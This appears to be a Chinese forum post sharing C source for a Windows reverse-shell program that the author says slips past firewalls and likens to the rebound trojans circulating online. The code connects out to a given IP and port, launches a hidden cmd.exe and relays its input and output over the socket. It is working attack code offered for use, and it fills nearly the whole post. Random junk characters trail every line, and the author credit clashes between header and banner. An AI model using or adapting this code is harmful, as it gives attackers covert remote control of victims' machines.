这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 &\K,kS [.r
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/* ============================== trM8p
Rebound port in Windows NT hoeOdWIpf
By wind,2006/7 i^="*t\i
===============================*/ , lT8gQ|u
#include :9]23'Md
#include NIQa{R/H
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#pragma comment(lib,"wsock32.lib") Mm|HA@W^
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void OutputShell(); ^ !E;+o' t
SOCKET sClient; p8o%H-Xk
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; KmpX^Se[
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void main(int argc,char **argv) V/J[~mN9
{ \fh.D/@
WSADATA stWsaData; ]TqcV8Q~
int nRet; h.=YAcR0D
SOCKADDR_IN stSaiClient,stSaiServer; 9sJbz=o]r
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if(argc != 3) m6aoh^I
{ -mcLT@
printf("Useage:\n\rRebound DestIP DestPort\n"); Po9 3&qE
return; $;"@;Lj%,
} ,_P(!7Z8
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WSAStartup(MAKEWORD(2,2),&stWsaData); Je+L8TB
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +=U`
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stSaiClient.sin_family = AF_INET; < _c84,[V
stSaiClient.sin_port = htons(0); 6'|J
;
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); [,xFk* #
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) .|x0du|
{ b<Pjmb+
printf("Bind Socket Failed!\n"); sRt|G
return; P4Wd=Xoz6
} (47jop0RDQ
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stSaiServer.sin_family = AF_INET; Ff%m.A8d,4
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); l.fNkLC#
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); l<GRM1^kU
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) B3)#Ou2
{ GsE?<3
printf("Connect Error!"); |LiFX5!\
return; s^js}9]p
} 9]7+fu
OutputShell(); 7q$9\RR5
} Ay"x<JB{U2
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void OutputShell() vWjK[5
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{ bbA+ZLZJn
char szBuff[1024]; w.^k':,"
SECURITY_ATTRIBUTES stSecurityAttributes; //K]zu
OSVERSIONINFO stOsversionInfo; !Z<Z"R/
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; {%b>/r
STARTUPINFO stStartupInfo; umI#P,%[
char *szShell; u\smQhQGE
PROCESS_INFORMATION stProcessInformation; [sACPn$f
unsigned long lBytesRead; {l\v J#r:
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); i|.!*/qF
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); e>sr)M
stSecurityAttributes.lpSecurityDescriptor = 0; 9tk}_+
stSecurityAttributes.bInheritHandle = TRUE; an0@EkZ
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); $P4hNb
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); YPGn8A
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); r$G;^
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Eu1s
stStartupInfo.wShowWindow = SW_HIDE; -}PD0Pzg;=
stStartupInfo.hStdInput = hReadPipe; [ivJ&'vB
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; JFR,QUT
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GetVersionEx(&stOsversionInfo); |~#!e}L(
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switch(stOsversionInfo.dwPlatformId) cf@:rHB}
{ h#;fBQ]
case 1: \A keC 6[D
szShell = "command.com";
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break; }^)M)8zS
default: !\+SE"ml
szShell = "cmd.exe"; gHYYxhW$
break; B6OggJ9Iq
} O#cXvv]Z*
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); F RS@-P
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send(sClient,szMsg,77,0); vA(3H/)-
while(1) &$< S1
{ mZMLDs:
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); j"}alS`-
if(lBytesRead) AP/tBCeM
{ wjKW 3
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); )5'S=av9
send(sClient,szBuff,lBytesRead,0); l$)pCo
} +#'exgGU^[
else a+r0@eFLc
{ ;h0?o*i_
lBytesRead=recv(sClient,szBuff,1024,0); PNg, bcl
if(lBytesRead<=0) break; GS<,adD
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); =Lp0i9c
} ^J@Y?CQl\
} [8O`VSV3
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return; /$+ifiFT
}